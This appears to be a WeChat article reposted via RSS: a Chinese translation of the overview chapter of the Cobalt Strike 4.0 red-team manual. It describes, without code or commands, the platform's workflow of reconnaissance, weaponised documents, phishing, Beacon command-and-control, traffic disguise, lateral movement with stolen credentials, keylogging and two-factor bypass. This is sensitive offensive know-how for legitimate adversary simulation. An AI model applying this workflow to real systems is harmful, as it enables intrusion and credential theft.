20px;box-sizing: border-box;"><p style="text-align: left;"><span style="color: rgb(30, 155, 232);"><span style="color: rgb(30, 155, 232);text-align: justify;font-size: 15px;">C</span><span style="color: rgb(30, 155, 232);font-size: 15px;text-align: justify;">obalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。</span></span></p></section></section></section><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="color: rgb(255, 0, 0);font-size: 15px;letter-spacing: 0.544px;text-align: left;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;">声明：本篇文章由Snowming@ QAX A-TEAM翻译，仅用于技术研究，不恰当使用会造成危害，严禁违法使用 ，否则后果自负。</span></p><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="color: rgb(255, 0, 0);font-size: 15px;letter-spacing: 0.544px;text-align: left;font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></span></p><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;color: rgb(30, 155, 232);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"></span></p><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;color: rgb(30, 155, 232);font-family: -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"></span></p><section data-tools="135编辑器" data-id="94539" style="font-size: 17px;box-sizing: border-box;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><section data-tools="135编辑器" data-id="94539" style="box-sizing: border-box;"><section style="margin: 5px auto;text-align: center;box-sizing: border-box;"><section style="padding: 5px 7px;display: inline-block;border-width: 3px;border-style: solid;border-color: rgb(30, 155, 232);box-sizing: border-box;"><section style="display: flex;justify-content: space-between;align-items: center;box-sizing: border-box;"><section style="margin-left: -3px;width: 7px;height: 7px;border-width: 2px;border-style: solid;border-color: rgb(30, 155, 232);border-radius: 6px;overflow: hidden;box-sizing: border-box;"><br/></section><section style="margin-right: -3px;width: 7px;height: 7px;border-width: 2px;border-style: solid;border-color: rgb(30, 155, 232);border-radius: 6px;overflow: hidden;box-sizing: border-box;"><br/></section></section><section data-autoskip="1" style="padding-right: 1em;padding-left: 1em;border-left: 1px solid rgb(30, 155, 232);border-right: 1px solid rgb(30, 155, 232);font-size: 16px;letter-spacing: 1.5px;color: rgb(30, 155, 232);box-sizing: border-box;"><span style="color: rgb(30, 155, 232);">正文</span><br/></section><section style="display: flex;justify-content: space-between;align-items: center;box-sizing: border-box;"><section style="margin-left: -3px;width: 7px;height: 7px;border-width: 2px;border-style: solid;border-color: rgb(30, 155, 232);border-radius: 6px;overflow: hidden;box-sizing: border-box;"><br/></section><section style="margin-right: -3px;width: 7px;height: 7px;border-width: 2px;border-style: solid;border-color: rgb(30, 155, 232);border-radius: 6px;overflow: hidden;box-sizing: border-box;"><br/></section></section></section></section></section><section style="box-sizing: border-box;"><br/></section><section style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;font-size: 15px;">Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目地的攻击和模拟高级威胁者的后渗透行动。本章中会概述 Cobalt Strike 的功能集和相关的攻击流程。在本手册的剩余部分中会详细的讨论这些功能。</span></section><section style="box-sizing: border-box;"><span style="color: rgb(0, 0, 0);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;font-size: 15px;"><br/></span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.6586620926243568" data-s="300,640" style="" data-type="png" data-w="1166" src="https://wechat2rss.xlab.app/img-proxy/?k=71a42923&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibMEIXK6lbvRoydM5HSuXyCibT7CdNqU86A9zztZjj4Lc02KMxs9yPbOXrKsYhewsZRFlwcrianXm4FQ%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin: 5px auto;text-align: left;box-sizing: border-box;"><span style="letter-spacing: 1.5px;text-align: justify;font-size: 15px;color: rgb(178, 178, 178);">译者注：图中的 Intrumentation &amp; Telemetry 大概可以翻译为「终端行为采集 Agent &amp; 云端行为分析引擎」。Instrumentation 指的应该是安装在目标主机上的各类日志收集与监控类工具，Telemetry 指的应该是将这些监控类工具所产出的各位监测日志进行归一化、汇聚到一个统一分析引擎并等待引擎的研判结果这类的过程。</span><br/></section></section><p style="text-align: justify;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">一场深思熟虑的对目标的攻击始于侦查。Cobalt Strike 的 System Profiler 是一个 web 应用，该应用用于客户端的攻击面。从侦查流程中收集的信息会帮助你分析以及做出最好的选择。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">武器化是将一个后渗透 payload 与一个文档或在目标上执行此 payload 的漏洞利用相结合。Cobalt Strike 提供将普通的文档转为武器化 Artifacts 的选项。Cobalt Strike 还提供以多种形式导出后渗透 payload、Beacon 的选项，可以结合此工件集以外的 artifacts 使用。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">使用 Cobalt Strike 的网络钓鱼工具投递武器化文档到目标网络中的一个或多个人。Cobalt Strike 的网络钓鱼工具将保存的电子邮件重新用于像素级完美的钓鱼。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">使用 Cobalt Strike 的 Beacon 来控制你的目标网络。这个后渗透 payload 使用一种异步的「低频次且慢速」的通信模式，高级威胁中的恶意软件常使用这种模式。Beacon 会通过 DNS、HTTP 或 HTTPS 等方式回连（团队服务器）。Beacon 还可以经过常见的代理配置回连至多个主机来避免阻塞。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">想要检验目标的攻击溯源分析能力，可以使用 Beacon 的 C2 扩展语言功能。此功能中，通过对 Beacon 重新编程、让流量看上去像一些知名的恶意软件或者融入正常流量。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.55" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=06d4da93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FteY3ucp0vibMEIXK6lbvRoydM5HSuXyCibYvaB32TSHfyBOJia03YzPtvqRj8L7L7RpcmibXJoZSwUIwWvsibZ4GkeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;color: rgb(178, 178, 178);">译者注：所谓的「让流量看上去像一些知名的恶意软件」，如下图中所示的 GitHub 开源 C2 拓展文件项目中的 crimeware 文件夹，就是通过配置 C2 拓展文件、让 Beacon 的流量特征看上去像 Zeus、Asprox 等知名恶意软件。样可以达到掩盖、伪装 Beacon 行动的目的。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">Beacon 优越的自动化以及基于命名管道和 TCP sockets 之上的对等通信模式可帮助攻击者进入受害者网络，然后继续进行主机发现和横向移动。Cobalt Strike 被用来抓取信任关系和使用被抓取的证书、密码哈希、访问令牌和 Kerberos 票据等凭据进行横向移动。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">使用 Cobalt Strike 的 user-exploitation 工具来展示有实际意义的业务风险。Cobalt Strike 的工作流程使得在受害系统内部署键盘记录器或截屏工具非常简单。使用 Browser Pivoting 去获取到受害目标 Internet Explorer 上记录的网站的访问权限。这个 Cobalt Strike 独有的技术在大多数站点都可以生效，并且可以绕过双因素验证。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">Cobalt Strike 的报告功能重建了 Cobalt Strike 客户端的参与度。可以提供给网络管理员一个活动时间表，这样他们可以在他们的监控设备（比如一些流量监测系统）中发现攻击痕迹。可以将 Cobalt Strike 生成的高质量报告作为独立报告提交给客户或将其用作正式文档的附录。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;">贯穿上面的所有步骤，你需要去了解目标环境、目标防御情况，以及在资源有限的前提下选择最好的方法来达成后渗透目标。这个过程就是规避。提供开箱即用的规避方案不是 Cobalt Strike 的目标。Cobalt Strike 提供的是极大的灵活性，在配置和执行攻击行动的选项等方面都具有很大的灵活性，这使得此软件适用于各种环境和目标。</span></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><br/></p><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;"></span></p><section data-tools="135编辑器" data-id="97366"><section style="margin:10px auto;"><section style="display:flex;justify-content: center;align-items:center;"><section style="width:25px;"><section style="width: 25px;"><img data-ratio="1" style="width: 100%;display:block;" data-type="png" data-w="59" data-width="100%" src="https://wechat2rss.xlab.app/img-proxy/?k=7171d776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7QRTvkK2qC784h7SE7l398MGvicLxK6RLwwiaICicVznm1KujBeeDpgnByicmQFxQn217N4WRbnYWwgd64YFXBI1YA%2F640%3Fwx_fmt%3Dpng"/></section></section><section style="flex:1;"><section data-autoskip="1" style="margin-left: 10px;flex: 1 1 0%;font-size: 14px;letter-spacing: 1.5px;text-align: left;color: rgb(30, 155, 232);">点击此处“阅读全文”查看完整版手册</section><section style="border-bottom: 1px solid rgb(30, 155, 232);height: 1px;box-sizing: border-box;overflow: hidden;"><br/></section></section></section></section></section><p style="text-align: left;font-size: 17px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="font-size: 15px;"></span></p></section><p><br/></p>



<p><a href="https://blog.ateam.qianxin.com/post/cobalt-strike-40-shou-ce-fan-yi-2019-nian-12-yue-2-ri-geng-xin-ban-ben/?from=timeline">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e1939c8c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2NDk0MTM5MQ%3D%3D%26mid%3D2247483661%26idx%3D1%26sn%3D504ac2f7b2ab6d02c83e2dd5845bafa5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 05 Mar 2020 15:06:00 +0800</pubDate>
    </item>
  </channel>
</rss>